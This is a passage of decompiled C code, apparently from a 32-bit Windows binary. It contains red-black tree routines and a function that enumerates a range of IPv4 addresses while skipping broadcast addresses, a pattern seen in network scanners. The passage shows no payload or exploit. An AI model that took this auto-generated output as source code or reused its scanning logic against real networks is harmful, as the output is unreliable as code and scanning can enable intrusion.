  8255.                                         // branch -> 0x408b7b
  8256.                                     } else {
  8257.                                         int32_t v42 = *(int32_t *)(v39 + 4); // 0x408b6d
  8258.                                         int32_t * v43 = (int32_t *)v42; // 0x408b70_0
  8259.                                         if (v39 == *v43) {
  8260.                                             // 0x408b74
  8261.                                             *v43 = v22;
  8262.                                             // branch -> 0x408b7b
  8263.                                         } else {
  8264.                                             // 0x408b78
  8265.                                             *(int32_t *)(v42 + 8) = v22;
  8266.                                             // branch -> 0x408b7b
  8267.                                         }
  8268.                                         // 0x408b7b
  8269.                                         *(int32_t *)v22 = v7;
  8270.                                         *(int32_t *)(v7 + 4) = v22;
  8271.                                         // branch -> 0x408b80
  8272.                                       lab_0x408b80:
  8273.                                         // 0x408b80
  8274.                                         *(int32_t *)(*(int32_t *)(v41 + 4) + 20) = 1;
  8275.                                         v34 = *(int32_t *)(v7 + 4);
  8276.                                         *(int32_t *)(*(int32_t *)(v34 + 4) + 20) = v8;
  8277.                                         v35 = *(int32_t *)(*(int32_t *)(v7 + 4) + 4);
  8278.                                         v22 = v35;
  8279.                                         v30 = (int32_t *)v35;
  8280.                                         v31 = *v30;
  8281.                                         v21 = v31;
  8282.                                         *v30 = *(int32_t *)(v31 + 8);
  8283.                                         v32 = v21;
  8284.                                         v36 = *(int32_t *)(v32 + 8);
  8285.                                         v33 = v32;
  8286.                                         if (v36 != g1178) {
  8287.                                           lab_0x408bab:
  8288.                                             // 0x408bab
  8289.                                             *(int32_t *)(v36 + 4) = v22;
  8290.                                             v33 = v21;
  8291.                                             // branch -> 0x408bae
  8292.                                         }
  8293.                                       lab_0x408bae:
  8294.                                         // 0x408bae
  8295.                                         *(int32_t *)(v33 + 4) = *(int32_t *)(v22 + 4);
  8296.                                         int32_t v44 = v22; // 0x408bb7
  8297.                                         int32_t * v45 = (int32_t *)(*(int32_t *)(v2 + 4) + 4); // 0x408bb7_0
  8298.                                         if (v44 == *v45) {
  8299.                                             // 0x408bbc
  8300.                                             *v45 = v21;
  8301.                                             *(int32_t *)(v21 + 8) = v22;
  8302.                                             // branch -> 0x408c9c
  8303.                                         } else {
  8304.                                             int32_t v46 = *(int32_t *)(v44 + 4); // 0x408bc7
  8305.                                             int32_t * v47 = (int32_t *)(v46 + 8); // 0x408bca_0
  8306.                                             int32_t v48 = v21; // 0x408bcf
  8307.                                             if (v44 == *v47) {
  8308.                                                 // 0x408bcf
  8309.                                                 *v47 = v48;
  8310.                                                 *(int32_t *)(v21 + 8) = v22;
  8311.                                                 // branch -> 0x408c9c
  8312.                                             } else {
  8313.                                                 // 0x408bda
  8314.                                                 *(int32_t *)v46 = v48;
  8315.                                                 *(int32_t *)(v21 + 8) = v22;
  8316.                                                 // branch -> 0x408c9c
  8317.                                             }
  8318.                                             // 0x408c9c
  8319.                                             *(int32_t *)(v22 + 4) = v21;
  8320.                                             v23 = v7;
  8321.                                             // branch -> 0x408c9f
  8322.                                           lab_0x408c9f:
  8323.                                             // 0x408c9f
  8324.                                             v17 = v2;
  8325.                                             if (v23 == *(int32_t *)(*(int32_t *)(v17 + 4) + 4)) {
  8326.                                                 // break -> 0x408cab
  8327.                                                 break;
  8328.                                             }
  8329.                                             v16 = v17;
  8330.                                             v14 = v23;
  8331.                                             // continue -> 0x408afc
  8332.                                             continue;
  8333.                                         }
  8334.                                       lab_0x408c9c_2:
  8335.                                         // 0x408c9c
  8336.                                         *(int32_t *)(v22 + 4) = v21;
  8337.                                         v23 = v7;
  8338.                                         // branch -> 0x408c9f
  8339.                                         goto lab_0x408c9f;
  8340.                                     }
  8341.                                     // 0x408b7b
  8342.                                     *(int32_t *)v22 = v7;
  8343.                                     *(int32_t *)(v7 + 4) = v22;
  8344.                                     v41 = v7;
  8345.                                     // branch -> 0x408b80
  8346.                                     goto lab_0x408b80;
  8347.                                 }
  8348.                                 // 0x408b80
  8349.                                 *(int32_t *)(*(int32_t *)(v29 + 4) + 20) = 1;
  8350.                                 v34 = *(int32_t *)(v7 + 4);
  8351.                                 *(int32_t *)(*(int32_t *)(v34 + 4) + 20) = v8;
  8352.                                 v35 = *(int32_t *)(*(int32_t *)(v7 + 4) + 4);
  8353.                                 v22 = v35;
  8354.                                 v30 = (int32_t *)v35;
  8355.                                 v31 = *v30;
  8356.                                 v21 = v31;
  8357.                                 *v30 = *(int32_t *)(v31 + 8);
  8358.                                 v32 = v21;
  8359.                                 v36 = *(int32_t *)(v32 + 8);
  8360.                                 if (v36 == g1178) {
  8361.                                     v33 = v32;
  8362.                                     goto lab_0x408bae;
  8363.                                 }
  8364.                                 goto lab_0x408bab;
  8365.                             }
  8366.                           lab_0x408c9f_2:
  8367.                             // 0x408c9f
  8368.                             v17 = v2;
  8369.                             if (v23 == *(int32_t *)(*(int32_t *)(v17 + 4) + 4)) {
  8370.                                 // break -> 0x408cab
  8371.                                 break;
  8372.                             }
  8373.                             v16 = v17;
  8374.                             v14 = v23;
  8375.                             // continue -> 0x408afc
  8376.                             continue;
  8377.                         } else {
  8378.                             // 0x408be4
  8379.                             if (*(int32_t *)(v20 + 20) == 0) {
  8380.                                 // 0x408be9
  8381.                                 *v6 = 1;
  8382.                                 *(int32_t *)(v21 + 20) = 1;
  8383.                                 int32_t v49 = *(int32_t *)(v7 + 4); // 0x408bf4
  8384.                                 *(int32_t *)(*(int32_t *)(v49 + 4) + 20) = v8;
  8385.                                 int32_t v50 = *(int32_t *)(*(int32_t *)(v7 + 4) + 4); // 0x408c00
  8386.                                 v7 = v50;
  8387.                                 v23 = v50;
  8388.                                 // branch -> 0x408c9f
  8389.                                 goto lab_0x408c9f_2;
  8390.                             } else {
  8391.                                 int32_t * v51 = (int32_t *)v13; // 0x408c08_0
  8392.                                 int32_t v52 = v14; // 0x408c4b
  8393.                                 int32_t * v53; // 0x408c64_0
  8394.                                 int32_t v54; // 0x408c6c
  8395.                                 int32_t v55; // 0x408c6c
  8396.                                 int32_t v56; // 0x408c7c
  8397.                                 int32_t v57; // 0x408c55
  8398.                                 int32_t v58; // 0x408c61
  8399.                                 int32_t v59; // 0x408c64
  8400.                                 if (v14 == *v51) {
  8401.                                     // 0x408c0c
  8402.                                     v7 = v13;
  8403.                                     int32_t v60 = *v51; // 0x408c0e
  8404.                                     v22 = v60;
  8405.                                     *v51 = *(int32_t *)(v60 + 8);
  8406.                                     int32_t v61 = *(int32_t *)(v22 + 8); // 0x408c15
  8407.                                     if (v61 != g1178) {
  8408.                                         // 0x408c20
  8409.                                         *(int32_t *)(v61 + 4) = v7;
  8410.                                         // branch -> 0x408c23
  8411.                                     }
  8412.                                     // 0x408c23
  8413.                                     *(int32_t *)(v22 + 4) = *(int32_t *)(v7 + 4);
  8414.                                     int32_t v62 = v7; // 0x408c2c
  8415.                                     int32_t * v63 = (int32_t *)(*(int32_t *)(v2 + 4) + 4); // 0x408c2c_0
  8416.                                     int32_t v64;
  8417.                                     if (v62 == *v63) {
  8418.                                         // 0x408c31
  8419.                                         *v63 = v22;
  8420.                                         // branch -> 0x408c45
  8421.                                     } else {
  8422.                                         int32_t v65 = *(int32_t *)(v62 + 4); // 0x408c36
  8423.                                         int32_t * v66 = (int32_t *)(v65 + 8); // 0x408c39_0
  8424.                                         int32_t v67 = v22; // 0x408c3e
  8425.                                         if (v62 == *v66) {
  8426.                                             // 0x408c3e
  8427.                                             *v66 = v67;
  8428.                                             // branch -> 0x408c45
  8429.                                         } else {
  8430.                                             // 0x408c43
  8431.                                             *(int32_t *)v65 = v67;
  8432.                                             // branch -> 0x408c45
  8433.                                         }
  8434.                                         // 0x408c45
  8435.                                         *(int32_t *)(v22 + 8) = v7;
  8436.                                         *(int32_t *)(v7 + 4) = v22;
  8437.                                         // branch -> 0x408c4b
  8438.                                       lab_0x408c4b:
  8439.                                         // 0x408c4b
  8440.                                         *(int32_t *)(*(int32_t *)(v64 + 4) + 20) = 1;
  8441.                                         v57 = *(int32_t *)(v7 + 4);
  8442.                                         *(int32_t *)(*(int32_t *)(v57 + 4) + 20) = v8;
  8443.                                         v58 = *(int32_t *)(*(int32_t *)(v7 + 4) + 4);
  8444.                                         v22 = v58;
  8445.                                         v53 = (int32_t *)(v58 + 8);
  8446.                                         v59 = *v53;
  8447.                                         v21 = v59;
  8448.                                         *v53 = *(int32_t *)v59;
  8449.                                         v54 = v21;
  8450.                                         v55 = *(int32_t *)v54;
  8451.                                         v56 = v54;
  8452.                                         if (v55 != g1178) {
  8453.                                           lab_0x408c76:
  8454.                                             // 0x408c76
  8455.                                             *(int32_t *)(v55 + 4) = v22;
  8456.                                             v56 = v21;
  8457.                                             // branch -> 0x408c79
  8458.                                         }
  8459.                                       lab_0x408c79:
  8460.                                         // 0x408c79
  8461.                                         *(int32_t *)(v56 + 4) = *(int32_t *)(v22 + 4);
  8462.                                         int32_t v68 = v22; // 0x408c82
  8463.                                         int32_t * v69 = (int32_t *)(*(int32_t *)(v2 + 4) + 4); // 0x408c82_0
  8464.                                         if (v68 == *v69) {
  8465.                                             // 0x408c87
  8466.                                             *v69 = v21;
  8467.                                             // branch -> 0x408c9a
  8468.                                         } else {
  8469.                                             int32_t v70 = *(int32_t *)(v68 + 4); // 0x408c8c
  8470.                                             int32_t * v71 = (int32_t *)v70; // 0x408c8f_0
  8471.                                             if (v68 == *v71) {
  8472.                                                 // 0x408c93
  8473.                                                 *v71 = v21;
  8474.                                                 // branch -> 0x408c9a
  8475.                                             } else {
  8476.                                                 // 0x408c97
  8477.                                                 *(int32_t *)(v70 + 8) = v21;
  8478.                                                 // branch -> 0x408c9a
  8479.                                             }
  8480.                                             // 0x408c9a
  8481.                                             *(int32_t *)v21 = v22;
  8482.                                             // branch -> 0x408c9c
  8483.                                             goto lab_0x408c9c_2;
  8484.                                         }
  8485.                                         // 0x408c9a
  8486.                                         *(int32_t *)v21 = v22;
  8487.                                         // branch -> 0x408c9c
  8488.                                         goto lab_0x408c9c_2;
  8489.                                     }
  8490.                                     // 0x408c45
  8491.                                     *(int32_t *)(v22 + 8) = v7;
  8492.                                     *(int32_t *)(v7 + 4) = v22;
  8493.                                     v64 = v7;
  8494.                                     // branch -> 0x408c4b
  8495.                                     goto lab_0x408c4b;
  8496.                                 }
  8497.                                 // 0x408c4b
  8498.                                 *(int32_t *)(*(int32_t *)(v52 + 4) + 20) = 1;
  8499.                                 v57 = *(int32_t *)(v7 + 4);
  8500.                                 *(int32_t *)(*(int32_t *)(v57 + 4) + 20) = v8;
  8501.                                 v58 = *(int32_t *)(*(int32_t *)(v7 + 4) + 4);
  8502.                                 v22 = v58;
  8503.                                 v53 = (int32_t *)(v58 + 8);
  8504.                                 v59 = *v53;
  8505.                                 v21 = v59;
  8506.                                 *v53 = *(int32_t *)v59;
  8507.                                 v54 = v21;
  8508.                                 v55 = *(int32_t *)v54;
  8509.                                 if (v55 == g1178) {
  8510.                                     v56 = v54;
  8511.                                     goto lab_0x408c79;
  8512.                                 }
  8513.                                 goto lab_0x408c76;
  8514.                             }
  8515.                             // 0x408c9f
  8516.                             v17 = v2;
  8517.                             v24 = *(int32_t *)(v17 + 4);
  8518.                             v25 = *(int32_t *)(v24 + 4);
  8519.                             if (v23 == v25) {
  8520.                                 v18 = v17;
  8521.                                 // break -> 0x408cab
  8522.                                 break;
  8523.                             }
  8524.                             v16 = v17;
  8525.                             v14 = v23;
  8526.                             // continue -> 0x408afc
  8527.                             continue;
  8528.                         }
  8529.                         // 0x408c9f
  8530.                         v17 = v2;
  8531.                         v24 = *(int32_t *)(v17 + 4);
  8532.                         v25 = *(int32_t *)(v24 + 4);
  8533.                         if (v23 == v25) {
  8534.                             v18 = v17;
  8535.                             // break -> 0x408cab
  8536.                             break;
  8537.                         }
  8538.                         v16 = v17;
  8539.                         v14 = v23;
  8540.                         // continue -> 0x408afc
  8541.                         continue;
  8542.                     }
  8543.                     // 0x408cab
  8544.                     // branch -> 0x408cab
  8545.                     // 0x408cab
  8546.                     *(int32_t *)(*(int32_t *)(*(int32_t *)(v18 + 4) + 4) + 20) = 1;
  8547.                     *a1 = g1;
  8548.                     return result;
  8549.                 }
  8550.                 // 0x408cab
  8551.                 // branch -> 0x408cab
  8552.                 // 0x408cab
  8553.                 *(int32_t *)(*(int32_t *)(*(int32_t *)(v17 + 4) + 4) + 20) = 1;
  8554.                 *a1 = g1;
  8555.                 return result;
  8556.             }
  8557.             // 0x408ad4
  8558.             *(int32_t *)v3 = g1;
  8559.             v12 = *(int32_t *)(v2 + 4);
  8560.             v9 = v3;
  8561.             if (v9 == v12) {
  8562.                 // 0x408add
  8563.                 *(int32_t *)(v12 + 4) = g1;
  8564.                 *(int32_t *)(*(int32_t *)(v2 + 4) + 8) = g1;
  8565.                 // branch -> 0x408aee
  8566.             } else {
  8567.                 // 0x408ae8
  8568.                 v5 = (int32_t *)v12;
  8569.                 if (v9 == *v5) {
  8570.                     // 0x408aec
  8571.                     *v5 = g1;
  8572.                     // branch -> 0x408aee
  8573.                 }
  8574.             }
  8575.             // 0x408aee
  8576.             v11 = v2;
  8577.             v10 = g1;
  8578.             v7 = v10;
  8579.             if (v10 == *(int32_t *)(*(int32_t *)(v11 + 4) + 4)) {
  8580.                 // 0x408cab
  8581.                 *(int32_t *)(*(int32_t *)(*(int32_t *)(v11 + 4) + 4) + 20) = 1;
  8582.                 *a1 = g1;
  8583.                 return result;
  8584.             }
  8585.             v14 = v10;
  8586.             while (true) {
  8587.                 // 0x408afc
  8588.                 v13 = *(int32_t *)(v14 + 4);
  8589.                 v8 = 0;
  8590.                 v6 = (int32_t *)(v13 + 20);
  8591.                 if (*v6 == 0) {
  8592.                     goto lab_0x408b0a_2;
  8593.                 }
  8594.                 // 0x408cab
  8595.                 // branch -> 0x408cab
  8596.                 // 0x408cab
  8597.                 *(int32_t *)(*(int32_t *)(*(int32_t *)(v11 + 4) + 4) + 20) = 1;
  8598.                 *a1 = g1;
  8599.                 return result;
  8600.             }
  8601.         }
  8602.     }
  8603.     // 0x408ad4
  8604.     *(int32_t *)v3 = g1;
  8605.     v12 = *(int32_t *)(v2 + 4);
  8606.     v9 = v3;
  8607.     if (v9 == v12) {
  8608.         // 0x408add
  8609.         *(int32_t *)(v12 + 4) = g1;
  8610.         *(int32_t *)(*(int32_t *)(v2 + 4) + 8) = g1;
  8611.         // branch -> 0x408aee
  8612.     } else {
  8613.         // 0x408ae8
  8614.         v5 = (int32_t *)v12;
  8615.         if (v9 == *v5) {
  8616.             // 0x408aec
  8617.             *v5 = g1;
  8618.             // branch -> 0x408aee
  8619.         }
  8620.     }
  8621.     // 0x408aee
  8622.     v11 = v2;
  8623.     v10 = g1;
  8624.     v7 = v10;
  8625.     if (v10 == *(int32_t *)(*(int32_t *)(v11 + 4) + 4)) {
  8626.         // 0x408cab
  8627.         *(int32_t *)(*(int32_t *)(*(int32_t *)(v11 + 4) + 4) + 20) = 1;
  8628.         *a1 = g1;
  8629.         return result;
  8630.     }
  8631.     v14 = v10;
  8632.     while (true) {
  8633.         // 0x408afc
  8634.         v13 = *(int32_t *)(v14 + 4);
  8635.         v8 = 0;
  8636.         v6 = (int32_t *)(v13 + 20);
  8637.         if (*v6 == 0) {
  8638.             goto lab_0x408b0a_2;
  8639.         }
  8640.         // 0x408cab
  8641.         // branch -> 0x408cab
  8642.         // 0x408cab
  8643.         *(int32_t *)(*(int32_t *)(*(int32_t *)(v11 + 4) + 4) + 20) = 1;
  8644.         *a1 = g1;
  8645.         return result;
  8646.     }
  8647. }
  8648.  
  8649. // Address range: 0x408cd0 - 0x408d2f
  8650. int32_t function_408cd0(int32_t a1, int32_t a2) {
  8651.     int32_t v1 = g7; // bp-4
  8652.     int32_t * v2 = (int32_t *)(a1 + 8); // 0x408cd5_0
  8653.     int32_t result = *v2; // 0x408cd5
  8654.     int32_t * v3 = (int32_t *)result; // 0x408cd8_0
  8655.     *v2 = *v3;
  8656.     int32_t v4 = *v3; // 0x408cdd
  8657.     if (v4 != g1178) {
  8658.         // 0x408ce7
  8659.         *(int32_t *)(v4 + 4) = a1;
  8660.         // branch -> 0x408cea
  8661.     }
  8662.     // 0x408cea
  8663.     *(int32_t *)(result + 4) = *(int32_t *)(a1 + 4);
  8664.     int32_t * v5 = (int32_t *)(*(int32_t *)(g4 + 4) + 4); // 0x408cf3_0
  8665.     if (a1 == *v5) {
  8666.         // 0x408cf8
  8667.         *v5 = result;
  8668.         *v3 = a1;
  8669.         *(int32_t *)(a1 + 4) = result;
  8670.         g7 = v1;
  8671.         return result;
  8672.     }
  8673.     int32_t v6 = *(int32_t *)(a1 + 4); // 0x408d04
  8674.     int32_t * v7 = (int32_t *)v6; // 0x408d07_0
  8675.     if (a1 == *v7) {
  8676.         // 0x408d0b
  8677.         *v7 = result;
  8678.         *v3 = a1;
  8679.         *(int32_t *)(a1 + 4) = result;
  8680.         g7 = v1;
  8681.         return result;
  8682.     }
  8683.     // 0x408d16
  8684.     *(int32_t *)(v6 + 8) = result;
  8685.     *v3 = a1;
  8686.     *(int32_t *)(a1 + 4) = result;
  8687.     g7 = v1;
  8688.     return result;
  8689. }
  8690.  
  8691. // Address range: 0x408d30 - 0x408d4f
  8692. int32_t function_408d30(int32_t * a1) {
  8693.     int32_t result = *a1; // 0x408d3a
  8694.     if (result == g1178) {
  8695.         // 0x408d48
  8696.         return (int32_t)a1;
  8697.     }
  8698.     int32_t v1 = *(int32_t *)result; // 0x408d42
  8699.     while (v1 != g1178) {
  8700.         // 0x408d40
  8701.         result = v1;
  8702.         v1 = *(int32_t *)result;
  8703.         // continue -> 0x408d40
  8704.     }
  8705.     // 0x408d48
  8706.     // branch -> 0x408d48
  8707.     // 0x408d48
  8708.     return result;
  8709. }
  8710.  
  8711. // Address range: 0x408d50 - 0x408daf
  8712. int32_t function_408d50(int32_t * a1, int32_t a2) {
  8713.     int32_t v1 = (int32_t)a1; // edx
  8714.     int32_t v2 = g7; // bp-4
  8715.     int32_t result = *a1; // 0x408d55
  8716.     int32_t * v3 = (int32_t *)(result + 8); // 0x408d57_0
  8717.     *a1 = *v3;
  8718.     int32_t v4 = *v3; // 0x408d5c
  8719.     if (v4 != g1178) {
  8720.         // 0x408d67
  8721.         *(int32_t *)(v4 + 4) = v1;
  8722.         // branch -> 0x408d6a
  8723.     }
  8724.     // 0x408d6a
  8725.     *(int32_t *)(result + 4) = *(int32_t *)(v1 + 4);
  8726.     int32_t * v5 = (int32_t *)(*(int32_t *)(g4 + 4) + 4); // 0x408d73_0
  8727.     if (v1 == *v5) {
  8728.         // 0x408d78
  8729.         *v5 = result;
  8730.         *v3 = v1;
  8731.         *(int32_t *)(v1 + 4) = result;
  8732.         g7 = v2;
  8733.         return result;
  8734.     }
  8735.     int32_t v6 = *(int32_t *)(v1 + 4); // 0x408d85
  8736.     int32_t * v7 = (int32_t *)(v6 + 8); // 0x408d88_0
  8737.     if (v1 == *v7) {
  8738.         // 0x408d8d
  8739.         *v7 = result;
  8740.         *v3 = v1;
  8741.         *(int32_t *)(v1 + 4) = result;
  8742.         g7 = v2;
  8743.         return result;
  8744.     }
  8745.     // 0x408d9a
  8746.     *(int32_t *)v6 = result;
  8747.     *v3 = v1;
  8748.     *(int32_t *)(v1 + 4) = result;
  8749.     g7 = v2;
  8750.     return result;
  8751. }
  8752.  
  8753. // Address range: 0x408db0 - 0x408dcf
  8754. int32_t function_408db0(int32_t result, int32_t a2, int32_t a3) {
  8755.     // 0x408db0
  8756.     _qm__qm_2_YAPAXI_Z(24);
  8757.     *(int32_t *)(g1 + 4) = result;
  8758.     *(int32_t *)(g1 + 20) = a2;
  8759.     return result;
  8760. }
  8761.  
  8762. // Address range: 0x408dd0 - 0x408e2f
  8763. int32_t function_408dd0(int32_t a1) {
  8764.     int32_t * v1 = (int32_t *)g4; // 0x408dd0_0
  8765.     int32_t v2 = *v1; // 0x408dd0
  8766.     int32_t v3 = g7; // 0x408dd2
  8767.     if (*(int32_t *)(v2 + 20) == 0) {
  8768.         // 0x408dda
  8769.         if (*(int32_t *)(*(int32_t *)(v2 + 4) + 4) == v2) {
  8770.             int32_t result = *(int32_t *)(v2 + 8); // 0x408de2
  8771.             g1 = result;
  8772.             g7 = v3;
  8773.             *v1 = result;
  8774.             return result;
  8775.         }
  8776.     }
  8777.     int32_t v4 = *(int32_t *)v2; // 0x408de9
  8778.     if (v4 == g1178) {
  8779.         int32_t v5 = *(int32_t *)(v2 + 4); // 0x408e09
  8780.         g1 = v5;
  8781.         int32_t v6 = v5; // 0x408e1d
  8782.         if (*v1 == *(int32_t *)v5) {
  8783.             *(int32_t *)g4 = v5;
  8784.             int32_t v7 = *(int32_t *)(g1 + 4); // 0x408e14
  8785.             g1 = v7;
  8786.             while (*(int32_t *)g4 == *(int32_t *)v7) {
  8787.                 // 0x408e12
  8788.                 *(int32_t *)g4 = v7;
  8789.                 v7 = *(int32_t *)(g1 + 4);
  8790.                 g1 = v7;
  8791.                 // continue -> 0x408e12
  8792.             }
  8793.             // 0x408e1d
  8794.             v6 = v7;
  8795.             // branch -> 0x408e1d
  8796.         }
  8797.         // 0x408e1d
  8798.         *(int32_t *)g4 = v6;
  8799.         g7 = v3;
  8800.         return g1;
  8801.     }
  8802.     int32_t v8 = *(int32_t *)(v4 + 8); // 0x408df5
  8803.     g1 = v8;
  8804.     if (v8 == g1178) {
  8805.         // 0x408e05
  8806.         *v1 = v4;
  8807.         g7 = v3;
  8808.         return g1;
  8809.     }
  8810.     int32_t v9 = *(int32_t *)(v8 + 8); // 0x408dfe
  8811.     g1 = v9;
  8812.     while (v9 != g1178) {
  8813.         // 0x408dfc
  8814.         v8 = v9;
  8815.         v9 = *(int32_t *)(v8 + 8);
  8816.         g1 = v9;
  8817.         // continue -> 0x408dfc
  8818.     }
  8819.     // 0x408e05
  8820.     // branch -> 0x408e05
  8821.     // 0x408e05
  8822.     *v1 = v8;
  8823.     g7 = v3;
  8824.     return g1;
  8825. }
  8826.  
  8827. // Address range: 0x408e30 - 0x408e4f
  8828. int32_t function_408e30(int32_t * a1, int32_t * a2) {
  8829.     int32_t result = (int32_t)a1;
  8830.     if (a1 != NULL) {
  8831.         // 0x408e38
  8832.         *a1 = *a2;
  8833.         *(int32_t *)(result + 4) = *(int32_t *)((int32_t)a2 + 4);
  8834.         // branch -> 0x408e46
  8835.     }
  8836.     // 0x408e46
  8837.     return result;
  8838. }
  8839.  
  8840. // Address range: 0x408e50 - 0x40903f
  8841. int32_t function_408e50(int32_t a1, int32_t host_long, int32_t host_long2, int32_t a4) {
  8842.     int32_t v1 = g2; // 0x408e58
  8843.     int32_t v2 = g7; // 0x408e59
  8844.     int32_t v3 = host_long; // bp-24
  8845.     int32_t v4 = &v3; // 0x408e5a_0
  8846.     int32_t net_long = htonl(host_long); // esi
  8847.     v3 = host_long2;
  8848.     int32_t result = htonl(host_long2); // 0x408e67
  8849.     int32_t v5 = result; // ebp
  8850.     int32_t v6 = net_long; // ebx
  8851.     int32_t v7 = result; // bp-4
  8852.     if (net_long > result) {
  8853.         // 0x40902b
  8854.         g7 = v2;
  8855.         g2 = v1;
  8856.         return result;
  8857.     }
  8858.     // 0x408e80
  8859.     g7 = a1;
  8860.     v3 = g5;
  8861.     // branch -> 0x408e85
  8862.     int32_t result2; // eax
  8863.     while (true) {
  8864.         int32_t v8 = net_long & 255; // 0x408e87
  8865.         result2 = v8;
  8866.         int32_t v9; // 0x40901d
  8867.         if (net_long != 255) {
  8868.             // 0x408e92
  8869.             if (v8 != 255) {
  8870.                 int32_t v10 = ntohl(net_long); // 0x408e9e
  8871.                 int32_t v11 = g7; // 0x408ea3
  8872.                 int32_t v12 = *(int32_t *)(v11 + 8); // 0x408eaa
  8873.                 int32_t v13 = v12; // edi
  8874.                 if (*(int32_t *)(v11 + 12) - v12 < 4) {
  8875.                     int32_t v14 = *(int32_t *)(v11 + 4); // 0x408ebd
  8876.                     int32_t v15;
  8877.                     int32_t v16; // 0x408ee260
  8878.                     if (v14 == 0) {
  8879.                         // 0x408ed9
  8880.                         v16 = 1;
  8881.                         v15 = 0;
  8882.                         // branch -> 0x408ee2
  8883.                     } else {
  8884.                         int32_t v17 = (v12 - v14) / 4; // 0x408ec8
  8885.                         int32_t v18 = v17; // 0x408ee261
  8886.                         if (v17 <= 1) {
  8887.                             // 0x408ed5
  8888.                             v18 = 1;
  8889.                             // branch -> 0x408edd
  8890.                         }
  8891.                         // 0x408edd
  8892.                         v16 = v18;
  8893.                         v15 = v17;
  8894.                         // branch -> 0x408ee2
  8895.                     }
  8896.                     int32_t v19 = v15 + v16; // 0x408ee2
  8897.                     int32_t v20 = v19; // 0x408eee
  8898.                     if (v19 <= 0xffffffff) {
  8899.                         // 0x408eec
  8900.                         v20 = 0;
  8901.                         // branch -> 0x408eee
  8902.                     }
  8903.                     int32_t v21 = 4 * v20; // 0x408eee
  8904.                     _qm__qm_2_YAPAXI_Z(v21);
  8905.                     int32_t v22 = *(int32_t *)(g7 + 4); // 0x408ef7
  8906.                     v5 = v22;
  8907.                     int32_t v23 = v21;
  8908.                     v6 = v21;
  8909.                     int32_t * v24;
  8910.                     int32_t v25; // 0x408f30
  8911.                     int32_t v26; // 0x408f40
  8912.                     int32_t v27; // 0x408f4c
  8913.                     int32_t v28; // 0x408f3a
  8914.                     int32_t v29; // 0x408f52
  8915.                     int32_t v30; // 0x408f60
  8916.                     int32_t v31; // 0x408f3a
  8917.                     int32_t v32; // 0x408f52
  8918.                     int32_t v33; // 0x408f60
  8919.                     if (v22 != v13) {
  8920.                         *(int32_t *)(v4 - 4) = v22;
  8921.                         *(int32_t *)(v4 - 8) = v6;
  8922.                         *(int32_t *)(v4 - 12) = 0x408f0e;
  8923.                         function_4090b0((int32_t *)v23, (int32_t *)v10);
  8924.                         int32_t v34 = v5 + 4; // 0x408f0e
  8925.                         int32_t v35 = g8 + 8; // 0x408f11
  8926.                         v6 += 4;
  8927.                         v4 = v35;
  8928.                         // branch -> 0x408f07
  8929.                         while (v34 != v13) {
  8930.                             // 0x408f07
  8931.                             v4 = v35;
  8932.                             *(int32_t *)(v4 - 4) = v34;
  8933.                             *(int32_t *)(v4 - 8) = v6;
  8934.                             *(int32_t *)(v4 - 12) = 0x408f0e;
  8935.                             function_4090b0((int32_t *)v23, (int32_t *)v10);
  8936.                             v34 += 4;
  8937.                             v35 = g8 + 8;
  8938.                             v6 += 4;
  8939.                             v4 = v35;
  8940.                             // continue -> 0x408f07
  8941.                         }
  8942.                         // 0x408f1b
  8943.                         *(int32_t *)(v4 - 4) = v4 + 32;
  8944.                         *(int32_t *)(v4 - 8) = 1;
  8945.                         *(int32_t *)(v4 - 12) = v6;
  8946.                         *(int32_t *)(v4 - 16) = 0x408f2a;
  8947.                         v24 = (int32_t *)net_long;
  8948.                         function_409080((int32_t *)v23, v10, v24, a4);
  8949.                         v25 = g8;
  8950.                         *(int32_t *)(v25 - 4) = v6 + 4;
  8951.                         *(int32_t *)(v25 - 8) = *(int32_t *)(g7 + 8);
  8952.                         *(int32_t *)(v25 - 12) = v13;
  8953.                         *(int32_t *)(v25 - 16) = 0x408f3a;
  8954.                         function_409050((int32_t *)v23, v10, v24, a4);
  8955.                         v28 = g7;
  8956.                         v31 = *(int32_t *)(v28 + 8);
  8957.                         g1 = v31;
  8958.                         v26 = g8;
  8959.                         *(int32_t *)(v26 - 4) = v31;
  8960.                         *(int32_t *)(v26 - 8) = *(int32_t *)(v28 + 4);
  8961.                         *(int32_t *)(v26 - 12) = 0x408f49;
  8962.                         function_409040();
  8963.                         v27 = g8;
  8964.                         *(int32_t *)(v27 - 4) = *(int32_t *)(g7 + 4);
  8965.                         *(int32_t *)(v27 - 8) = 0x408f52;
  8966.                         function_4097fe((char *)v23);
  8967.                         v29 = g8;
  8968.                         v32 = *(int32_t *)(v29 + 32);
  8969.                         v30 = g7;
  8970.                         v33 = *(int32_t *)(v30 + 4);
  8971.                         *(int32_t *)(v30 + 12) = 4 * *(int32_t *)(v29 + 20) + v32;
  8972.                         int32_t v36;
  8973.                         int32_t v37; // 0x408f82
  8974.                         if (v33 == 0) {
  8975.                           lab_0x408f6a:
  8976.                             // 0x408f6a
  8977.                             v37 = g7;
  8978.                             v36 = 0;
  8979.                             // branch -> 0x408f76
  8980.                         } else {
  8981.                           lab_0x408f6e:;
  8982.                             int32_t v38 = g7; // 0x408f6e
  8983.                             v37 = v38;
  8984.                             v36 = (*(int32_t *)(v38 + 8) - v33) / 4;
  8985.                             // branch -> 0x408f76
  8986.                         }
  8987.                         // 0x408f76
  8988.                         v5 = *(int32_t *)(g8 + 20);
  8989.                         v6 = *(int32_t *)(g8 + 36);
  8990.                         int32_t v39 = v32; // 0x408f7e
  8991.                         result2 = 4 * v36 + 4 + v39;
  8992.                         *(int32_t *)(v37 + 4) = v39;
  8993.                         *(int32_t *)(g7 + 8) = result2;
  8994.                         // branch -> 0x40901d
  8995.                       lab_0x40901d:
  8996.                         // 0x40901d
  8997.                         v9 = v6 + 1;
  8998.                         v6 = v9;
  8999.                         if (v9 > v5) {
  9000.                             // break -> 0x40902a
  9001.                             break;
  9002.                         }
  9003.                         net_long = v9;
  9004.                         // continue -> 0x408e85
  9005.                         continue;
  9006.                     }
  9007.                     // 0x408f1b
  9008.                     *(int32_t *)(v4 - 4) = v4 + 32;
  9009.                     *(int32_t *)(v4 - 8) = 1;
  9010.                     *(int32_t *)(v4 - 12) = v6;
  9011.                     *(int32_t *)(v4 - 16) = 0x408f2a;
  9012.                     v24 = (int32_t *)net_long;
  9013.                     function_409080((int32_t *)v23, v10, v24, a4);
  9014.                     v25 = g8;
  9015.                     *(int32_t *)(v25 - 4) = v6 + 4;
  9016.                     *(int32_t *)(v25 - 8) = *(int32_t *)(g7 + 8);
  9017.                     *(int32_t *)(v25 - 12) = v13;
